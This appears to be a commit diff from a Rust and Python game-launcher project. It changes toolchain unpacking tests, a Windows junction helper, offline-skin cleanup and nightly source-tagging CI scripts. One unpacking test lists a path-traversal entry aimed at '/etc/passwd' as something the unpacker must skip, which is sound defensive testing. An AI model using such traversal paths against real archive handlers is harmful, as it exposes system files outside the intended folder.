assert_eq!(
|
||||
at("rust-std-1.99.1-x/rust-std-x/lib/rustlib/x/lib/libstd.rlib"),
|
||||
Some(PathBuf::from("lib/rustlib/x/lib/libstd.rlib"))
|
||||
);
|
||||
for skipped in [
|
||||
"rustc-1.99.1-x/install.sh",
|
||||
"rustc-1.99.1-x/components",
|
||||
"rustc-1.99.1-x/rustc/manifest.in",
|
||||
"rustc-1.99.1-x/rustc",
|
||||
"rustc-1.99.1-x/../../etc/passwd",
|
||||
"/rustc-1.99.1-x/rustc/bin/rustc",
|
||||
] {
|
||||
assert_eq!(at(skipped), None, "{skipped}");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_component_archive_unpacks_as_its_installer_would() {
|
||||
let dir = std::env::temp_dir().join(format!("horizon-rust-unpack-{}", std::process::id()));
|
||||
let _ = fs::remove_dir_all(&dir);
|
||||
fs::create_dir_all(&dir).unwrap();
|
||||
let archive = dir.join("cargo.tar.gz");
|
||||
let mut tar = tar::Builder::new(flate2::write::GzEncoder::new(
|
||||
fs::File::create(&archive).unwrap(),
|
||||
flate2::Compression::fast(),
|
||||
));
|
||||
for (path, body, mode) in [
|
||||
("cargo-1.99.1-x/install.sh", "#!/bin/sh", 0o755),
|
||||
("cargo-1.99.1-x/cargo/manifest.in", "file:bin/cargo", 0o644),
|
||||
("cargo-1.99.1-x/cargo/bin/cargo", "binary", 0o755),
|
||||
] {
|
||||
let mut header = tar::Header::new_gnu();
|
||||
header.set_size(body.len() as u64);
|
||||
header.set_mode(mode);
|
||||
header.set_cksum();
|
||||
tar.append_data(&mut header, path, body.as_bytes()).unwrap();
|
||||
}
|
||||
tar.into_inner().unwrap().finish().unwrap().flush().unwrap();
|
||||
let prefix = dir.join("prefix");
|
||||
unpack(&archive, &prefix).unwrap();
|
||||
assert_eq!(
|
||||
fs::read_to_string(prefix.join("bin/cargo")).unwrap(),
|
||||
"binary"
|
||||
);
|
||||
#[cfg(unix)]
|
||||
{
|
||||
use std::os::unix::fs::PermissionsExt;
|
||||
let mode = fs::metadata(prefix.join("bin/cargo"))
|
||||
.unwrap()
|
||||
.permissions()
|
||||
.mode();
|
||||
assert_eq!(mode & 0o111, 0o111, "cargo stays executable");
|
||||
}
|
||||
assert!(!prefix.join("install.sh").exists() && !prefix.join("manifest.in").exists());
|
||||
fs::remove_dir_all(&dir).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_command_uses_only_the_launchers_toolchain() {
|
||||
let toolchain = Toolchain {
|
||||
dir: PathBuf::from("/rust/1.99.1-x"),
|
||||
};
|
||||
let cmd = toolchain.command(&toolchain.cargo());
|
||||
let env: Vec<(String, Option<String>)> = cmd
|
||||
.get_envs()
|
||||
.map(|(k, v)| {
|
||||
(
|
||||
k.to_string_lossy().into_owned(),
|
||||
v.map(|v| v.to_string_lossy().into_owned()),
|
||||
)
|
||||
})
|
||||
.collect();
|
||||
let get = |name: &str| env.iter().find(|(k, _)| k == name).map(|(_, v)| v.clone());
|
||||
assert_eq!(get("RUSTUP_TOOLCHAIN"), Some(None));
|
||||
assert_eq!(get("RUSTC_WRAPPER"), Some(None));
|
||||
assert_eq!(
|
||||
PathBuf::from(get("RUSTC").flatten().unwrap()),
|
||||
toolchain.dir.join("bin").join(exe("rustc"))
|
||||
);
|
||||
assert_eq!(
|
||||
std::env::split_paths(&get("PATH").flatten().unwrap()).next(),
|
||||
Some(toolchain.dir.join("bin"))
|
||||
);
|
||||
assert!(get("CARGO_HOME").flatten().unwrap().ends_with("cargo"));
|
||||
}
|
||||
}
|
||||
+1
-11
@@ -245,17 +245,7 @@ fn point(link: &Path, target: &Path) -> std::io::Result<()> {
|
||||
#[cfg(windows)]
|
||||
{
|
||||
let _ = fs::remove_dir(link);
|
||||
let status = crate::process::command("cmd")
|
||||
.args(["/C", "mklink", "/J"])
|
||||
.arg(link)
|
||||
.arg(target)
|
||||
.stdout(Stdio::null())
|
||||
.status()?;
|
||||
if status.success() {
|
||||
Ok(())
|
||||
} else {
|
||||
Err(std::io::Error::other("mklink /J failed"))
|
||||
}
|
||||
crate::sources::junction(target, link)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -38,6 +38,14 @@ impl Launcher {
|
||||
return Ok(());
|
||||
};
|
||||
let mut accounts = Accounts::load();
|
||||
// The name may have been forgotten while a file dialog was open: keep nothing for it.
|
||||
if !accounts
|
||||
.offline
|
||||
.iter()
|
||||
.any(|n| n.eq_ignore_ascii_case(&name))
|
||||
{
|
||||
return Ok(());
|
||||
}
|
||||
let mut look = accounts.look(&name);
|
||||
change(&mut look);
|
||||
accounts.looks.insert(name.to_ascii_lowercase(), look);
|
||||
@@ -75,6 +83,14 @@ impl Launcher {
|
||||
let Some(name) = self.skin.as_ref().map(|p| p.name.clone()) else {
|
||||
return;
|
||||
};
|
||||
// The name may have been forgotten while the file dialog was open.
|
||||
if !Accounts::load()
|
||||
.offline
|
||||
.iter()
|
||||
.any(|n| n.eq_ignore_ascii_case(&name))
|
||||
{
|
||||
return;
|
||||
}
|
||||
let done = skins::keep(&skins::dir(), &name, &path, cape).and_then(|()| {
|
||||
self.save_look(|l| match cape {
|
||||
false => l.skin = true,
|
||||
|
||||
@@ -157,6 +157,13 @@ pub fn keep(dir: &Path, name: &str, file: &Path, cape: bool) -> Result<(), Strin
|
||||
std::fs::write(&to, bytes).map_err(|e| format!("{}: {e}", to.display()))
|
||||
}
|
||||
|
||||
/// Drops a forgotten name's files (`Accounts::remove_offline`); missing files are fine.
|
||||
pub fn forget(dir: &Path, name: &str) {
|
||||
let (skin, cape) = files(dir, name);
|
||||
let _ = std::fs::remove_file(skin);
|
||||
let _ = std::fs::remove_file(cape);
|
||||
}
|
||||
|
||||
/// The variables the game gets for `name`'s look.
|
||||
pub fn env(dir: &Path, name: &str, look: &Look) -> Vec<(&'static str, String)> {
|
||||
let (skin, cape) = files(dir, name);
|
||||
|
||||
@@ -102,3 +102,23 @@ fn a_kept_look_reaches_the_game_only_with_its_files() {
|
||||
);
|
||||
std::fs::remove_dir_all(&root).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn forgetting_a_name_drops_its_files() {
|
||||
let root = std::env::temp_dir().join(format!("horizon-skins-forget-{}", std::process::id()));
|
||||
let _ = std::fs::remove_dir_all(&root);
|
||||
std::fs::create_dir_all(&root).unwrap();
|
||||
let (src, cape_src) = (root.join("alex.png"), root.join("cape.png"));
|
||||
std::fs::write(&src, png(&mapped(64))).unwrap();
|
||||
std::fs::write(&cape_src, png(&mapped(32))).unwrap();
|
||||
let dir = root.join("skins");
|
||||
keep(&dir, "Alex", &src, false).unwrap();
|
||||
keep(&dir, "Alex", &cape_src, true).unwrap();
|
||||
let (skin, cape) = files(&dir, "Alex");
|
||||
assert!(skin.is_file() && cape.is_file());
|
||||
forget(&dir, "ALEX");
|
||||
assert!(!skin.exists() && !cape.exists());
|
||||
// A name that never had files is forgotten all the same.
|
||||
forget(&dir, "Alex");
|
||||
std::fs::remove_dir_all(&root).unwrap();
|
||||
}
|
||||
+17
-6
@@ -498,6 +498,14 @@ fn make_link(target: &Path, link: &Path) -> std::io::Result<()> {
|
||||
if !target.is_dir() {
|
||||
return fs::hard_link(target, link).or_else(|_| fs::copy(target, link).map(|_| ()));
|
||||
}
|
||||
junction(target, link)
|
||||
}
|
||||
|
||||
/// Makes `link` a junction to the folder `target` (no admin rights needed, unlike a symlink). The
|
||||
/// error carries cmd's own message ("Access is denied", "The system cannot find the path…").
|
||||
#[cfg(windows)]
|
||||
pub(crate) fn junction(target: &Path, link: &Path) -> std::io::Result<()> {
|
||||
use std::os::windows::process::CommandExt;
|
||||
// Always quoted: cmd reads `&`, `^` or `(` in an unquoted path (a user folder may have
|
||||
// them) as its own syntax. A Windows path never holds a quote.
|
||||
let quoted = |path: &Path| {
|
||||
@@ -506,16 +514,19 @@ fn make_link(target: &Path, link: &Path) -> std::io::Result<()> {
|
||||
arg.push("\"");
|
||||
arg
|
||||
};
|
||||
let status = crate::process::command("cmd")
|
||||
let out = crate::process::command("cmd")
|
||||
.args(["/C", "mklink", "/J"])
|
||||
.raw_arg(quoted(link))
|
||||
.raw_arg(quoted(target))
|
||||
.stdout(std::process::Stdio::null())
|
||||
.status()?;
|
||||
match status.success() {
|
||||
true => Ok(()),
|
||||
false => Err(std::io::Error::other("mklink /J failed")),
|
||||
.output()?;
|
||||
if out.status.success() {
|
||||
return Ok(());
|
||||
}
|
||||
let why = String::from_utf8_lossy(&out.stderr);
|
||||
Err(std::io::Error::other(match why.trim() {
|
||||
"" => "mklink /J failed".to_string(),
|
||||
why => format!("mklink /J failed: {why}"),
|
||||
}))
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -185,7 +185,11 @@ impl Launcher {
|
||||
button(format!("offline-forget-{i}"), "Forget", Kind::Ghost, &t).on_click(
|
||||
cx.listener(move |this, _: &ClickEvent, _, cx| {
|
||||
let mut accounts = Accounts::load();
|
||||
if accounts.remove_offline(&forget).is_ok() && accounts.save().is_ok() {
|
||||
if accounts
|
||||
.remove_offline(&forget, &horizon_launcher::skins::dir())
|
||||
.is_ok()
|
||||
&& accounts.save().is_ok()
|
||||
{
|
||||
this.accounts = accounts;
|
||||
}
|
||||
cx.notify();
|
||||
@@ -210,6 +214,37 @@ impl Launcher {
|
||||
));
|
||||
}
|
||||
rows = rows.children(self.skin_panel(cx));
|
||||
// The name the game made up can't be forgotten — it's what an offline player is —
|
||||
// only rolled for a new one.
|
||||
if let Some(made_up) = self.offline_name.clone() {
|
||||
let plays = now == Player::GameName;
|
||||
n += 1;
|
||||
rows = rows.child(index_row(
|
||||
n,
|
||||
made_up,
|
||||
Some(
|
||||
div()
|
||||
.child(tr(if plays {
|
||||
"Offline name · the game's own · plays"
|
||||
} else {
|
||||
"Offline name · the game's own"
|
||||
}))
|
||||
.into_any_element(),
|
||||
),
|
||||
Some(
|
||||
button("game-name-new", "New name", Kind::Ghost, &t)
|
||||
.on_click(cx.listener(|this, _: &ClickEvent, _, cx| {
|
||||
match instances::new_player_name() {
|
||||
Ok(name) => this.offline_name = Some(name),
|
||||
Err(e) => this.sign_in_state = Some(SignInState::Done(Err(e))),
|
||||
}
|
||||
cx.notify();
|
||||
}))
|
||||
.into_any_element(),
|
||||
),
|
||||
&t,
|
||||
));
|
||||
}
|
||||
n += 1;
|
||||
let add = div()
|
||||
.flex()
|
||||
|
||||
@@ -62,6 +62,19 @@ class NightlyTests(unittest.TestCase):
|
||||
self.assertIn("- Fix pistons (#2476)", text)
|
||||
self.assertIn("Everything in it is on main.", nightly.notes("2026-10-28", ref("main", "m" * 40, 0), []))
|
||||
|
||||
def test_notes_name_the_commit_and_its_permanent_source_tag(self):
|
||||
sha = "0c0206714abc" + "0" * 28
|
||||
text = nightly.notes("2026-10-28", ref("union/a", sha, 1), [])
|
||||
self.assertIn(f"Source: commit {sha}, kept for good as the tag `nightly-source/2026-10-28-0c02067`", text)
|
||||
main = nightly.Ref("main", "m" * 40, None)
|
||||
self.assertIn("`nightly-source/2026-10-28-bbbbbbb`",
|
||||
nightly.set_notes("2026-10-28", nightly.Ref("b", "b" * 40, None), main, [], []))
|
||||
|
||||
def test_the_source_tag_outlives_every_prune(self):
|
||||
tag = nightly.source_tag("2026-10-20", "a" * 40)
|
||||
self.assertEqual(nightly.stale([{"tagName": tag, "isPrerelease": True}], dt.date(2026, 11, 28), 7), [])
|
||||
self.assertIsNone(nightly.DATED.match(tag))
|
||||
|
||||
|
||||
|
||||
class ScheduledTests(unittest.TestCase):
|
||||
@@ -149,6 +162,17 @@ class PruneBuildsTests(unittest.TestCase):
|
||||
"feature/nightly/build-2026-10-01-1": "g", "nightly/build-2026-10-02-1": "n"}
|
||||
self.assertEqual(nightly.stale_builds(branches, set(), self.TODAY, 7), [])
|
||||
|
||||
def test_the_source_is_archived_from_git_signed_attached_and_tagged(self):
|
||||
build = (WORKFLOWS / "nightly-build.yml").read_text()
|
||||
pick = build.split("\n build:", 1)[0]
|
||||
self.assertIn('git archive --format=tar.gz --prefix="horizon-${SHA:0:7}/" -o horizon-source.tar.gz "$SHA"',
|
||||
pick)
|
||||
sign = build.split("\n sign:", 1)[1].split("\n publish:", 1)[0]
|
||||
self.assertIn("dist/horizon-source.tar.gz", sign.split("sign_release.sh nightly", 1)[1])
|
||||
publish = build.split("\n publish:", 1)[1].split("\n answer:", 1)[0]
|
||||
self.assertIn('"dist/horizon-source.tar.gz#Source of this Nightly', publish)
|
||||
self.assertIn('nightly.py keep-source "$SHA" "$DATE"', publish)
|
||||
|
||||
def test_the_workflow_prunes_on_schedule_only(self):
|
||||
build = (WORKFLOWS / "nightly-build.yml").read_text()
|
||||
step = build.split("Old nightly/build-* branches deleted", 1)[1].split("- uses:", 1)[0]
|
||||
|
||||
@@ -60,7 +60,7 @@ class ReachTests(unittest.TestCase):
|
||||
pub fn main() { println!("{} {} {}", helper(), Thing.method(), Thing); }
|
||||
""",
|
||||
})
|
||||
self.dependencies = sorted(str(path.relative_to(self.root)) for path in self.root.rglob("*") if path.is_file())
|
||||
self.dependencies = sorted(path.relative_to(self.root).as_posix() for path in self.root.rglob("*") if path.is_file())
|
||||
self.dependencies.remove("crates/a/examples/probe/main.rs") # parity.only_probes_run leaves it out
|
||||
|
||||
def tearDown(self):
|
||||
|
||||
+39
-4
@@ -6,6 +6,7 @@
|
||||
nightly.py prune [--days 7] deletes the nightly-<date> pre-releases and tags older than that, nothing else
|
||||
nightly.py prune-builds [--days 7] deletes the nightly/build-<date>-<n> branches older than that, but the
|
||||
newest and any a published nightly points to (Ludovic, 2026-10-27)
|
||||
nightly.py keep-source <sha> <date> tags the nightly's commit nightly-source/<date>-<short>, for good
|
||||
|
||||
A nightly builds main plus the pull requests the trusted reviewers picked (the set: tools/ci/nightly_set.py), merged
|
||||
in their order and pushed as nightly/build-<date>-<n>. With no set it builds the newest union branch on origin
|
||||
@@ -13,6 +14,10 @@ in their order and pushed as nightly/build-<date>-<n>. With no set it builds the
|
||||
newer than main's head. It is published as the `nightly` pre-release; the previous one stays a week as
|
||||
nightly-<date>. Runs from main's checkout with `gh`; it reads and merges the branches with git and never runs
|
||||
anything from them.
|
||||
|
||||
Each nightly ships its exact source: horizon-source.tar.gz (`git archive` of the commit, signed with the builds) on
|
||||
the release, and the tag nightly-source/<date>-<short>, which no prune deletes. Native mods pin a nightly's commit
|
||||
(docs/native-mods.md), so that commit must stay downloadable after its release and build branch are gone.
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
@@ -33,6 +38,7 @@ else: # run as tools/ci/nightly.py: its folder is on the path
|
||||
|
||||
DATED = re.compile(r"^nightly-(\d{4}-\d{2}-\d{2})$")
|
||||
TITLE_DATE = re.compile(r"Nightly (\d{4}-\d{2}-\d{2})")
|
||||
SOURCE_TAG = "nightly-source/"
|
||||
|
||||
|
||||
@dataclass
|
||||
@@ -84,10 +90,20 @@ OPT_IN = ("**Opt-in, not a release.** A Nightly can include pull requests not re
|
||||
"as they are. Report bugs with the version the game shows (\"Nightly <date> · <commit>\").")
|
||||
|
||||
|
||||
def source_tag(today: str, sha: str) -> str:
|
||||
"""The permanent tag of a nightly's commit: neither `prune` (nightly-<date> only) nor `prune-builds` touches it."""
|
||||
return f"{SOURCE_TAG}{today}-{sha[:7]}"
|
||||
|
||||
|
||||
def source_line(today: str, sha: str) -> str:
|
||||
return (f"Source: commit {sha}, kept for good as the tag `{source_tag(today, sha)}`; horizon-source.tar.gz is "
|
||||
"its tree. Native mods built for this Nightly pin that commit.")
|
||||
|
||||
|
||||
def set_notes(today: str, chosen: Ref, main: Ref, prs: list[dict], left_out: list[str]) -> str:
|
||||
"""The notes of a build of main plus the reviewers' set."""
|
||||
lines = [f"Nightly {today} · {chosen.sha[:7]}: main ({main.sha[:7]}) with {len(prs)} pull requests merged in, "
|
||||
f"built from `{chosen.name}` ({chosen.sha}).", "", OPT_IN, "",
|
||||
f"built from `{chosen.name}` ({chosen.sha}).", "", source_line(today, chosen.sha), "", OPT_IN, "",
|
||||
f"### Pull requests in this Nightly ({len(prs)})", ""]
|
||||
lines += [f"- {ns.plain(e['title'])} (#{e['number']}) by {e['author']}, at {e['head'][:7]}, picked by "
|
||||
f"{e['asked_by']}" for e in prs]
|
||||
@@ -97,7 +113,8 @@ def set_notes(today: str, chosen: Ref, main: Ref, prs: list[dict], left_out: lis
|
||||
|
||||
|
||||
def notes(today: str, chosen: Ref, held: list[dict], left_out: list[str] | None = None) -> str:
|
||||
lines = [f"Nightly {today} · {chosen.sha[:7]}: built from `{chosen.name}` ({chosen.sha}).", "", OPT_IN, ""]
|
||||
lines = [f"Nightly {today} · {chosen.sha[:7]}: built from `{chosen.name}` ({chosen.sha}).", "",
|
||||
source_line(today, chosen.sha), "", OPT_IN, ""]
|
||||
if left_out:
|
||||
lines += [f"The reviewers' set had nothing left to build: {'; '.join(ns.plain(w) for w in left_out)}.", ""]
|
||||
if held:
|
||||
@@ -184,7 +201,7 @@ def build_set(main: Ref, prs: list[dict], left_out: list[str], today: str, force
|
||||
with open("nightly-notes.md", "w") as f:
|
||||
f.write(set_notes(today, chosen, main, kept, left_out))
|
||||
output(build=str(build).lower(), sha=sha, short=sha[:7], source=name, date=today, version=f"nightly-{today}",
|
||||
nightly=f"{today} {sha[:7]}")
|
||||
nightly=f"{today} {sha[:7]}", source_tag=source_tag(today, sha))
|
||||
print(f"{'build' if build else 'skip (unchanged since the last nightly)'}: {name} {sha}, main {main.sha[:7]} + "
|
||||
+ ", ".join(f"#{e['number']}" for e in kept))
|
||||
|
||||
@@ -233,7 +250,7 @@ def build_union(main: Ref, today: str, force: bool, left_out: list[str] | None =
|
||||
with open("nightly-notes.md", "w") as f:
|
||||
f.write(notes(today, chosen, held, left_out))
|
||||
output(build=str(build).lower(), sha=chosen.sha, short=chosen.sha[:7], source=chosen.name, date=today,
|
||||
version=f"nightly-{today}", nightly=f"{today} {chosen.sha[:7]}")
|
||||
version=f"nightly-{today}", nightly=f"{today} {chosen.sha[:7]}", source_tag=source_tag(today, chosen.sha))
|
||||
print(f"{'build' if build else 'skip (unchanged since the last nightly)'}: {chosen.name} {chosen.sha}, "
|
||||
f"{len(held)} open pull requests beyond main")
|
||||
|
||||
@@ -309,6 +326,19 @@ def prune_builds(days: int) -> None:
|
||||
f"nightlies' and the last {days} days')")
|
||||
|
||||
|
||||
def keep_source(sha: str, today: str) -> None:
|
||||
"""Tags the published nightly's commit for good (source_tag); a rerun of the same build finds it there."""
|
||||
tag = source_tag(today, sha)
|
||||
there = remote_refs(f"refs/tags/{tag}").get(tag)
|
||||
if there == sha:
|
||||
print(f"`{tag}` already names {sha[:7]}")
|
||||
return
|
||||
if there:
|
||||
raise SystemExit(f"`{tag}` names {there[:7]}, not {sha[:7]}")
|
||||
gh("api", f"repos/{os.environ['GITHUB_REPOSITORY']}/git/refs", "-f", f"ref=refs/tags/{tag}", "-f", f"sha={sha}")
|
||||
print(f"tagged {sha[:7]} `{tag}`")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
|
||||
sub = ap.add_subparsers(dest="cmd", required=True)
|
||||
@@ -316,6 +346,9 @@ def main() -> None:
|
||||
sub.add_parser("rotate")
|
||||
sub.add_parser("prune").add_argument("--days", type=int, default=7)
|
||||
sub.add_parser("prune-builds").add_argument("--days", type=int, default=7)
|
||||
keep = sub.add_parser("keep-source")
|
||||
keep.add_argument("sha")
|
||||
keep.add_argument("date")
|
||||
args = ap.parse_args()
|
||||
if args.cmd == "pick":
|
||||
pick(args.force)
|
||||
@@ -323,6 +356,8 @@ def main() -> None:
|
||||
rotate()
|
||||
elif args.cmd == "prune-builds":
|
||||
prune_builds(args.days)
|
||||
elif args.cmd == "keep-source":
|
||||
keep_source(args.sha, args.date)
|
||||
else:
|
||||
prune(args.days)
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ ALWAYS_GUARDED = ["/.github/", "/tools/ci/", "/crates/horizon-release-sign/", "/
|
||||
STATE_BRANCH = "nightly-state"
|
||||
BUILD_PREFIX = "nightly/build-"
|
||||
MAX_PRS = 30
|
||||
MAX_BUILDS_PER_DAY = 6
|
||||
MAX_BUILDS_PER_DAY = 12
|
||||
BOT = ("github-actions[bot]", "41898283+github-actions[bot]@users.noreply.github.com")
|
||||
# Git never runs anything of the merged commits; these make sure nothing of the runner's either.
|
||||
SAFE_GIT = ["-c", "core.hooksPath=/dev/null", "-c", "core.fsmonitor=false", "-c", "merge.renormalize=false"]
|
||||
|
||||
@@ -96,7 +96,8 @@ def prepare_resources(root, version, store):
|
||||
def named_logs(output):
|
||||
"""The logs horizon-prepare's errors point to ("…; see /path/export.log"): its javac errors are there."""
|
||||
text = ""
|
||||
for name in sorted(set(re.findall(r"see (/\S+\.log)", output))):
|
||||
# A log path is absolute on every host: "/tmp/x.log" or "C:\tmp\x.log".
|
||||
for name in sorted(set(re.findall(r"see ((?:/|[A-Za-z]:[\\/])\S+\.log)", output))):
|
||||
path = Path(name)
|
||||
if path.is_file():
|
||||
text += path.read_text(errors="replace")[-(1 << 20):]
|
||||
|
||||
@@ -552,6 +552,7 @@ def main():
|
||||
oracle = lab.ROOT / 'mods/horizon/src/test/java/dev/horizonlab/parity/VanillaNaturalSpawnOracle.java'
|
||||
sources = [oracle, Path(__file__), lab.ROOT / 'crates/horizon-client/examples/probe/natural_spawn_fixture.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/biome.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
|
||||
tested = base.source_hashes(sources)
|
||||
inputs = build / 'inputs.txt'
|
||||
|
||||
@@ -235,6 +235,7 @@ def main():
|
||||
lab.ROOT / 'crates/horizon-client/src/chunk/block_entity.rs',
|
||||
lab.ROOT / 'crates/horizon-client-core/src/identifier.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/biome.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
|
||||
tested = base.source_hashes(sources)
|
||||
inputs = build / 'inputs.txt'
|
||||
|
||||
@@ -200,6 +200,7 @@ def main():
|
||||
lab.ROOT / 'crates/horizon-client/src/chunk/block_entity.rs',
|
||||
lab.ROOT / 'crates/horizon-client-core/src/identifier.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_selection.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/biome.rs',
|
||||
lab.ROOT / 'crates/horizon-client/src/mobs/spawn_rules.rs']
|
||||
tested = base.source_hashes(sources)
|
||||
inputs = build / 'inputs.txt'
|
||||
|
||||
Reference in new issue
Block a user